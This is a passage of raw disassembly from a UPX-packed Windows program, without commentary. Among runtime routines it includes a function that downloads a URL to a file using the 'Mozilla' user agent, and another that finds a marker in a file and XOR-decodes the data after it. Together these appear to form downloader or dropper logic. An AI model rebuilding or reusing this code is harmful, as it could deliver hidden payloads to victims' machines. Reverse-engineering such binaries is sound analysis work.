		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401918
		mov	eax, [edi+4]
		jmp	short loc_40191B
; ---------------------------------------------------------------------------


loc_401918:				; CODE XREF: sub_401882+8Fj
		lea	eax, [edi+4]


loc_40191B:				; CODE XREF: sub_401882+94j
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_40126B
		add	esp, 10h


loc_40192C:				; CODE XREF: sub_401882+89j
		push	0
		push	1
		mov	ecx, edi
		call	sub_4014FD
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_401700
		call	sub_4045FD
		retn	8
sub_401882	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40194F	proc near		; DATA XREF: UPX1:0040E368o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_4014FD
		push	esi
		push	esi
		call	sub_40414D
		int	3		; Trap to Debugger
sub_40194F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401964	proc near		; CODE XREF: sub_401860+17p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4026A0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_401981
		pop	esi
		retn	4
sub_401964	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; CODE XREF: sub_401964+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_4019F3
		test	al, al
		jz	short loc_4019B3
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4019A0
		mov	eax, [esi+4]
		jmp	short loc_4019A3
; ---------------------------------------------------------------------------


loc_4019A0:				; CODE XREF: sub_401981+18j
		lea	eax, [esi+4]


loc_4019A3:				; CODE XREF: sub_401981+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_40146B
		jmp	short loc_4019ED
; ---------------------------------------------------------------------------


loc_4019B3:				; CODE XREF: sub_401981+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_40171C
		test	al, al
		jz	short loc_4019EB
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		jb	short loc_4019D0
		mov	eax, [esi+4]
		jmp	short loc_4019D3
; ---------------------------------------------------------------------------


loc_4019D0:				; CODE XREF: sub_401981+48j
		lea	eax, [esi+4]


loc_4019D3:				; CODE XREF: sub_401981+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_40126B
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401700


loc_4019EB:				; CODE XREF: sub_401981+40j
		mov	eax, esi


loc_4019ED:				; CODE XREF: sub_401981+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019F3	proc near		; CODE XREF: sub_401981+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_401A03
		mov	edx, [eax]
		jmp	short loc_401A05
; ---------------------------------------------------------------------------


loc_401A03:				; CODE XREF: sub_4019F3+Aj
		mov	edx, eax


loc_401A05:				; CODE XREF: sub_4019F3+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_401A21
		cmp	esi, 10h
		jb	short loc_401A12
		mov	eax, [eax]


loc_401A12:				; CODE XREF: sub_4019F3+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_401A21
		mov	al, 1
		jmp	short loc_401A23
; ---------------------------------------------------------------------------


loc_401A21:				; CODE XREF: sub_4019F3+16j
					; sub_4019F3+28j
		xor	al, al


loc_401A23:				; CODE XREF: sub_4019F3+2Cj
		pop	esi
		retn	4
sub_4019F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A27	proc near		; CODE XREF: sub_401882+50p
					; sub_401882+6Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_401A3F
		xor	ecx, ecx


loc_401A36:				; CODE XREF: sub_401A27+22j
		push	ecx
		call	sub_402371
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A3F:				; CODE XREF: sub_401A27+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_401A36
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_4023F1
		push	offset dword_40E300
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_40C174
		call	sub_40414D
		int	3		; Trap to Debugger
		push	esi
		push	[esp+10h+var_8]
		mov	esi, ecx
		call	sub_402457
		mov	dword ptr [esi], offset	off_40C174
		mov	eax, esi
		pop	esi
		retn	4
sub_401A27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401A89	proc near		; CODE XREF: sub_4017AB+41p
		push	8
		mov	eax, offset loc_40B0DE
		call	sub_404591
		mov	edi, ecx
		mov	esi, [ebp+8]
		call	sub_4015B8
		and	dword ptr [esi+8], 0
		and	dword ptr [ebp-4], 0
		mov	[esi+4], eax
		mov	ecx, [edi+4]
		mov	edx, [ecx]
		mov	eax, [eax]
		push	ecx
		push	edi
		push	edx
		push	edi
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		push	esi
		call	sub_401ADC
		mov	eax, esi
		call	sub_4045FD
		retn	4
sub_401A89	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401ACA	proc near		; DATA XREF: UPX1:0040E468o
		mov	esi, [ebp+8]
		call	sub_4015D0
		push	0
		push	0
		call	sub_40414D
		int	3		; Trap to Debugger
sub_401ACA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401ADC	proc near		; CODE XREF: sub_401A89+32p
		push	14h
		mov	eax, offset loc_40B0C3
		call	sub_404591
		mov	edi, [ebp+18h]
		mov	esi, [ebp+1Ch]
		and	dword ptr [ebp-4], 0
		mov	[ebp-18h], edi
		mov	[ebp-14h], esi


loc_401AF8:				; CODE XREF: sub_401ADC+66j
		test	edi, edi
		jz	short loc_401B01
		cmp	edi, [ebp+20h]
		jz	short loc_401B06


loc_401B01:				; CODE XREF: sub_401ADC+1Ej
		call	sub_4021B5


loc_401B06:				; CODE XREF: sub_401ADC+23j
		cmp	esi, [ebp+24h]
		jz	loc_401B9D
		test	edi, edi
		jnz	short loc_401B18
		call	sub_4021B5


loc_401B18:				; CODE XREF: sub_401ADC+35j
		cmp	esi, [edi+4]
		jnz	short loc_401B22
		call	sub_4021B5


loc_401B22:				; CODE XREF: sub_401ADC+3Fj
		push	dword ptr [ebp+14h]
		mov	edi, [ebp+8]
		push	dword ptr [ebp+10h]
		add	esi, 8
		push	esi
		call	sub_401548
		lea	esi, [ebp+18h]
		call	sub_401247
		mov	esi, [ebp+1Ch]
		mov	edi, [ebp+18h]
		jmp	short loc_401AF8
; ---------------------------------------------------------------------------


loc_401B44:				; DATA XREF: UPX1:0040E410o
		mov	edi, [ebp+14h]


loc_401B47:				; CODE XREF: sub_401ADC+B6j
		mov	eax, [ebp-18h]
		test	eax, eax
		jz	short loc_401B53
		cmp	eax, [ebp+18h]
		jz	short loc_401B58


loc_401B53:				; CODE XREF: sub_401ADC+70j
		call	sub_4021B5


loc_401B58:				; CODE XREF: sub_401ADC+75j
		mov	eax, [ebp-14h]
		cmp	eax, [ebp+1Ch]
		jz	short loc_401B94
		mov	ebx, [ebp+10h]
		test	ebx, ebx
		mov	[ebp+24h], edi
		jnz	short loc_401B6F
		call	sub_4021B5


loc_401B6F:				; CODE XREF: sub_401ADC+8Cj
		mov	esi, [edi+4]
		cmp	esi, [ebx+4]
		jnz	short loc_401B7C
		call	sub_4021B5


loc_401B7C:				; CODE XREF: sub_401ADC+99j
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		lea	eax, [ebp-20h]
		push	eax
		call	sub_401BA5
		lea	esi, [ebp-18h]
		call	sub_401247
		jmp	short loc_401B47
; ---------------------------------------------------------------------------


loc_401B94:				; CODE XREF: sub_401ADC+82j
		push	0
		push	0
		call	sub_40414D


loc_401B9D:				; CODE XREF: sub_401ADC+2Dj
		call	sub_4045FD
		retn	20h
sub_401ADC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BA5	proc near		; CODE XREF: sub_401ADC+A9p

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+arg_4]
		mov	[ebp+var_8], eax
		call	sub_401247
		cmp	edi, [ebx+4]
		jz	short loc_401BDB
		mov	eax, [edi+4]
		mov	ecx, [edi]
		mov	[eax], ecx
		mov	eax, [edi]
		mov	ecx, [edi+4]
		push	edi
		mov	[eax+4], ecx
		call	sub_4023DB
		dec	dword ptr [ebx+8]
		pop	ecx


loc_401BDB:				; CODE XREF: sub_401BA5+1Bj
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	ecx, [ebp+arg_8]
		pop	edi
		mov	[eax+4], ecx
		pop	esi
		leave
		retn	0Ch
sub_401BA5	endp

; ---------------------------------------------------------------------------


loc_401BEF:				; CODE XREF: UPX0:0040B058j
		mov	eax, [esi]
		test	eax, eax
		push	edi
		mov	edi, dword_40C120
		jz	short loc_401C02
		push	eax
		call	edi ; dword_40C120
		and	dword ptr [esi], 0


loc_401C02:				; CODE XREF: UPX0:00401BFAj
		dec	ds:dword_4108BC
		jnz	short loc_401C1D
		mov	eax, ds:dword_4108B8
		test	eax, eax
		jz	short loc_401C1D
		push	eax
		call	edi ; dword_40C120
		and	ds:dword_4108B8, 0


loc_401C1D:				; CODE XREF: UPX0:00401C08j
					; UPX0:00401C11j
		pop	edi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C1F	proc near		; CODE XREF: sub_4010EC+B4p

var_534		= dword	ptr -534h
var_530		= dword	ptr -530h
var_529		= byte ptr -529h
var_528		= dword	ptr -528h
var_418		= dword	ptr -418h
var_408		= byte ptr -408h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4108B8
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	esi, ecx
		mov	edi, edx
		jnz	short loc_401C63
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla	; "Mozilla"
		call	dword_40C124	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_4108B8, eax
		jnz	short loc_401C63


loc_401C5C:				; CODE XREF: sub_401C1F+5Cj
					; sub_401C1F+91j ...
		xor	al, al
		jmp	loc_401D3F
; ---------------------------------------------------------------------------


loc_401C63:				; CODE XREF: sub_401C1F+23j
					; sub_401C1F+3Bj
		push	ebx
		push	800h
		push	ebx
		push	ebx
		push	esi
		push	eax
		call	dword_40C12C	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_534], eax
		jz	short loc_401C5C
		push	edi
		lea	esi, [ebp+var_528]
		mov	[ebp+var_530], ebx
		mov	[ebp+var_529], 1
		call	sub_401D77
		call	sub_401DBB
		test	al, al
		jnz	short loc_401CC0
		cmp	[ebp+var_418], 0FFFFFFFFh
		mov	[ebp+var_528], offset off_40DAD4
		jz	short loc_401C5C
		push	[ebp+var_418]
		call	dword_40C020	; CloseHandle
		jmp	short loc_401C5C
; ---------------------------------------------------------------------------


loc_401CC0:				; CODE XREF: sub_401C1F+7Ej
		mov	esi, dword_40C128
		mov	edi, 400h
		jmp	short loc_401CED
; ---------------------------------------------------------------------------


loc_401CCD:				; CODE XREF: sub_401C1F+E7j
		push	[ebp+var_530]
		lea	eax, [ebp+var_408]
		push	eax
		lea	ecx, [ebp+var_528]
		call	sub_401E45
		cmp	[ebp+var_530], ebx
		jz	short loc_401D0E


loc_401CED:				; CODE XREF: sub_401C1F+ACj
		lea	eax, [ebp+var_530]
		push	eax
		push	edi
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_534]
		call	esi ; dword_40C128
		test	eax, eax
		jnz	short loc_401CCD
		mov	[ebp+var_529], bl


loc_401D0E:				; CODE XREF: sub_401C1F+CCj
		push	[ebp+var_534]
		call	dword_40C120	; InternetCloseHandle
		cmp	[ebp+var_418], 0FFFFFFFFh
		mov	[ebp+var_528], offset off_40DAD4
		jz	short loc_401D39
		push	[ebp+var_418]
		call	dword_40C020	; CloseHandle


loc_401D39:				; CODE XREF: sub_401C1F+10Cj
		mov	al, [ebp+var_529]


loc_401D3F:				; CODE XREF: sub_401C1F+3Fj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40224A
		leave
		retn
sub_401C1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D4E	proc near		; DATA XREF: UPX1:0040DADCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [ecx+110h]
		call	dword_40C01C	; GetFileSizeEx
		cmp	eax, 1
		jnz	short loc_401D70
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		leave
		retn
; ---------------------------------------------------------------------------


loc_401D70:				; CODE XREF: sub_401D4E+18j
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		leave
		retn
sub_401D4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D77	proc near		; CODE XREF: sub_401C1F+72p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_40DAD4
		mov	[esi+10Dh], al
		mov	[esi+110h], eax
		mov	[esi+118h], eax
		mov	[esi+11Ch], eax
		call	sub_4026A0
		push	eax
		push	[esp+8+arg_0]
		lea	eax, [esi+8]
		push	105h
		push	eax
		call	sub_4027CB
		add	esp, 14h
		mov	eax, esi
		retn	4
sub_401D77	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DBB	proc near		; CODE XREF: sub_401C1F+77p
		mov	cl, [esi+10Dh]
		neg	cl
		push	0
		push	8000000h
		push	4
		mov	eax, 0C0000000h
		push	0
		push	1
		sbb	ecx, ecx
		and	ecx, eax
		add	ecx, eax
		push	ecx
		lea	eax, [esi+8]
		push	eax
		call	dword_40C010	; CreateFileA
		and	dword ptr [esi+118h], 0
		and	dword ptr [esi+11Ch], 0
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	[esi+110h], eax
		mov	al, cl
		retn
sub_401DBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E05	proc near		; DATA XREF: UPX1:0040DAD8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	esi, ecx
		push	[ebp+arg_0]
		push	dword ptr [esi+110h]
		call	dword_40C018	; ReadFile
		cmp	eax, 1
		jnz	short loc_401E3E
		mov	eax, [ebp+var_4]
		lea	ecx, [esi+118h]
		add	[ecx], eax
		adc	dword ptr [ecx+4], 0
		jmp	short loc_401E40
; ---------------------------------------------------------------------------


loc_401E3E:				; CODE XREF: sub_401E05+26j
		xor	eax, eax


loc_401E40:				; CODE XREF: sub_401E05+37j
		pop	esi
		leave
		retn	8
sub_401E05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E45	proc near		; CODE XREF: sub_401C1F+C1p
					; DATA XREF: UPX1:off_40DAD4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	esi, ecx
		push	[ebp+arg_0]
		push	dword ptr [esi+110h]
		call	dword_40C014	; WriteFile
		cmp	eax, 1
		jnz	short loc_401E7E
		mov	eax, [ebp+var_4]
		lea	ecx, [esi+118h]
		add	[ecx], eax
		adc	dword ptr [ecx+4], 0
		jmp	short loc_401E80
; ---------------------------------------------------------------------------


loc_401E7E:				; CODE XREF: sub_401E45+26j
		xor	eax, eax


loc_401E80:				; CODE XREF: sub_401E45+37j
		pop	esi
		leave
		retn	8
sub_401E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E85	proc near		; CODE XREF: sub_4010EC+C4p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	80h
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	eax
		call	dword_40C010	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_28], esi
		jnz	short loc_401EC3
		xor	al, al
		jmp	loc_401FBA
; ---------------------------------------------------------------------------


loc_401EC3:				; CODE XREF: sub_401E85+35j
		push	ebx
		push	edi
		push	esi
		call	dword_40C024	; GetFileSize
		mov	ebx, dword_40C018
		mov	[ebp+var_24], eax
		mov	[ebp+var_1C], edi
		jmp	short loc_401EFB
; ---------------------------------------------------------------------------


loc_401EDA:				; CODE XREF: sub_401E85+89j
		cmp	[ebp+var_18], 10h
		jnz	short loc_401F10
		add	[ebp+var_1C], 10h
		push	10h
		lea	eax, [ebp+var_14]
		push	offset dword_40DAE0
		push	eax
		call	sub_40287E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401F17


loc_401EFB:				; CODE XREF: sub_401E85+53j
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		mov	[ebp+var_18], edi
		call	ebx ; dword_40C018
		test	eax, eax
		jnz	short loc_401EDA


loc_401F10:				; CODE XREF: sub_401E85+59j
		xor	al, al
		jmp	loc_401FB9
; ---------------------------------------------------------------------------


loc_401F17:				; CODE XREF: sub_401E85+74j
		mov	eax, [ebp+var_24]
		sub	eax, [ebp+var_1C]
		xor	ecx, ecx
		lea	esi, [eax+3]
		mov	[ebp+var_1C], eax
		shr	esi, 2
		push	4
		pop	edx
		mov	eax, esi
		mul	edx
		seto	cl
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_402371
		mov	[ebp+var_18], eax
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	edi
		push	[ebp+var_18]
		mov	[ebp+var_24], eax
		call	sub_4021D0
		add	esp, 10h
		push	edi
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_24]
		mov	[ebp+var_20], edi
		push	[ebp+var_18]
		push	[ebp+var_28]
		call	ebx ; dword_40C018
		xor	ecx, ecx
		cmp	esi, edi
		jbe	short loc_401F7E


loc_401F6D:				; CODE XREF: sub_401E85+F7j
		mov	eax, [ebp+var_18]
		lea	eax, [eax+ecx*4]
		xor	dword ptr [eax], 0EDEDEDEDh
		inc	ecx
		cmp	ecx, esi
		jb	short loc_401F6D


loc_401F7E:				; CODE XREF: sub_401E85+E6j
		mov	esi, [ebp+var_28]
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_40C028	; SetFilePointer
		push	edi
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_1C]
		mov	[ebp+var_20], edi
		push	[ebp+var_18]
		push	esi
		call	dword_40C014	; WriteFile
		push	esi
		call	dword_40C02C	; SetEndOfFile
		push	esi
		call	dword_40C020	; CloseHandle
		push	[ebp+var_18]
		call	sub_4023DB
		pop	ecx
		mov	al, 1


loc_401FB9:				; CODE XREF: sub_401E85+8Dj
		pop	ebx


loc_401FBA:				; CODE XREF: sub_401E85+39j
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_40224A
		leave
		retn
sub_401E85	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FC8	proc near		; DATA XREF: UPX1:0040DDF4o
		mov	dword ptr [ecx], offset	off_40C198
		jmp	sub_401306
sub_401FC8	endp

; ---------------------------------------------------------------------------


loc_401FD3:				; DATA XREF: UPX0:off_40C198o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_40C198
		call	sub_401306
		test	byte ptr [esp+8], 1
		jz	short loc_401FEF
		push	esi
		call	sub_4023DB
		pop	ecx


loc_401FEF:				; CODE XREF: UPX0:00401FE6j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401FF5	proc near		; CODE XREF: sub_40171C+Dp
		push	44h
		mov	eax, offset loc_40B01C
		call	sub_40455E
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_401860
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_4012D1
		push	offset dword_40E2C8
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_40C18C
		call	sub_40414D
		int	3		; Trap to Debugger
sub_401FF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402034	proc near		; CODE XREF: sub_40146B+13p
					; sub_401691+Fp
		push	44h
		mov	eax, offset loc_40B01C
		call	sub_40455E
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_401860
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_4012D1
		push	offset dword_40DDF0
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_40C198
		call	sub_40414D
		int	3		; Trap to Debugger
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_401826
		mov	dword ptr [esi], offset	off_40C198
		mov	eax, esi
		pop	esi
		retn	4
sub_402034	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40208B	proc near		; CODE XREF: sub_405819+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_40FE00, eax
		retn
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_402095	proc near		; CODE XREF: sub_402191+1Fj
					; sub_405F23+7Dp ...

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		push	esi
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_4021D0
		lea	eax, [ebp+2A8h+var_328]
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_328], 0C000000Dh
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	dword_40C040	; IsDebuggerPresent
		push	0
		mov	esi, eax
		call	dword_40C03C	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	dword_40C038	; UnhandledExceptionFilter
		test	eax, eax
		jnz	short loc_402169
		test	esi, esi
		jnz	short loc_402169
		push	2
		call	sub_404620
		pop	ecx


loc_402169:				; CODE XREF: sub_402095+C6j
					; sub_402095+CAj
		push	0C000000Dh
		call	dword_40C034	; GetCurrentProcess
		push	eax
		call	dword_40C030	; TerminateProcess
		mov	ecx, [ebp+2A8h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40224A
		add	ebp, 2A8h
		leave
		retn
sub_402095	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402191	proc near		; CODE XREF: sub_4021B5+7p
					; sub_4024EE+26p ...
		push	ebp
		mov	ebp, esp
		push	ds:dword_40FE00
		call	sub_40470B
		test	eax, eax
		pop	ecx
		jz	short loc_4021A7
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_4021A7:				; CODE XREF: sub_402191+11j
		push	2
		call	sub_404620
		pop	ecx
		pop	ebp
		jmp	sub_402095
sub_402191	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021B5	proc near		; CODE XREF: sub_401000:loc_401033p
					; sub_401000+44p ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_402191
		add	esp, 14h
		retn
sub_4021B5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021D0	proc near		; CODE XREF: sub_4010EC+2Ep
					; sub_4010EC+71p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_402245
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_4021FC
		cmp	edx, 100h
		jb	short loc_4021FC
		cmp	ds:dword_410A1C, 0
		jz	short loc_4021FC
		jmp	sub_404C3B
; ---------------------------------------------------------------------------


loc_4021FC:				; CODE XREF: sub_4021D0+14j
					; sub_4021D0+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_402235
		neg	ecx
		and	ecx, 3
		jz	short loc_402217
		sub	edx, ecx


loc_40220D:				; CODE XREF: sub_4021D0+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40220D


loc_402217:				; CODE XREF: sub_4021D0+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_402235
		rep stosd
		test	edx, edx
		jz	short loc_40223F


loc_402235:				; CODE XREF: sub_4021D0+32j
					; sub_4021D0+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_402235


loc_40223F:				; CODE XREF: sub_4021D0+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402245:				; CODE XREF: sub_4021D0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40224A	proc near		; CODE XREF: sub_401C1F+128p
					; sub_401E85+13Cp ...
		cmp	ecx, ds:dword_40F060
		jnz	short loc_402254
		rep retn
; ---------------------------------------------------------------------------


loc_402254:				; CODE XREF: sub_40224A+6j
		jmp	sub_404CDE
sub_40224A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402260	proc near		; CODE XREF: sub_4010EC+5Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_4022D5
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_402290


